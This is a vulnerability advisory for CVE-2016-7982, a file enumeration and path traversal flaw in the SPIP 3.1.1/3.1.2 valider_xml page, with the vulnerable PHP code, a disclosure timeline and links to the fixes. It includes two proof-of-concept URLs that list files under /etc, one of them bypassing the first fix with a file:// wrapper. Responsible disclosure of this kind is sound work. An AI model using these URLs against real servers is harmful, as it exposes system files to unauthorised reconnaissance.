SPIP 3.1.1/3.1.2 File Enumeration / Path Traversal (CVE-2016-7982)

Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

Vulnerability Description

The valider_xml file can be used to enumerate files on the system.

Access Vector: remote

Security Risk: medium

Vulnerability: CWE-538

CVSS Base Score: 4.9 (Medium)

CVE-ID: CVE-2016-7982

Proof of Concept

Enumerating .ini files inside /etc (SPIP 3.1.1) :

http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/etc&ext=ini&recur=2

Bypassing SPIP 3.1.2 protection using PHP Wrappers :

http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///etc&ext=ini&recur=2

Vulnerable code

if (is_dir($url)) {
    $dir = (substr($url, -1, 1) === '/') ? $url : "$url/";
    $ext = !preg_match('/^[.*\w]+$/', $req_ext) ? 'php' : $req_ext;
    $files = preg_files($dir, "$ext$", $limit, $rec);
    if (!$files and $ext !== 'html') {
      $files = preg_files($dir, 'html$', $limit, $rec);
      if ($files) {
        $ext = 'html';
      }
    }
    if ($files) {
      $res = valider_dir($files, $ext, $url);
      list($err, $res) = valider_resultats($res, $ext === 'html');

File names are stored in $res and displayed by echo on line 146 :

echo "<h1>", $titre, '<br>', $bandeau, '</h1>',
"<div style='text-align: center'>", $onfocus, "</div>",
  $res,
  fin_page();

Timeline (dd/mm/yyyy)

  • 15/09/2016 : Initial discovery
  • 26/09/2016 : Contact with SPIP Team
  • 27/09/2016 : Answer from SPIP Team, sent advisory details
  • 27/09/2016 : Incorrect fixes for Path Traversal
  • 27/09/2016 : New proof of concept for bypassing Path Traversal sent.
  • 27/09/2016 : Bad fix for Path Traversal (23185)
  • 28/09/2016 : New proof of concept for bypassing fixes for Path Traversal on Windows systems.
  • 28/09/2016 : Fixes issued Path Traversal (23200)
  • 30/09/2016 : SPIP 3.1.3 Released

Fixes

  • https://core.spip.net/projects/spip/repository/revisions/23207
  • https://core.spip.net/projects/spip/repository/revisions/23208
  • https://core.spip.net/projects/spip/repository/revisions/23206
  • https://core.spip.net/projects/spip/repository/revisions/23202
  • https://core.spip.net/projects/spip/repository/revisions/23201
  • https://core.spip.net/projects/spip/repository/revisions/23200
  • https://core.spip.net/projects/spip/repository/revisions/23191
  • https://core.spip.net/projects/spip/repository/revisions/23190
  • https://core.spip.net/projects/spip/repository/revisions/23193
  • https://core.spip.net/projects/spip/repository/revisions/23188
  • https://core.spip.net/projects/spip/repository/revisions/23187
  • https://core.spip.net/projects/spip/repository/revisions/23185
  • https://core.spip.net/projects/spip/repository/revisions/23182
  • https://core.spip.net/projects/spip/repository/revisions/23184

Affected versions

  • Version <= 3.1.2

Credits

  • Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)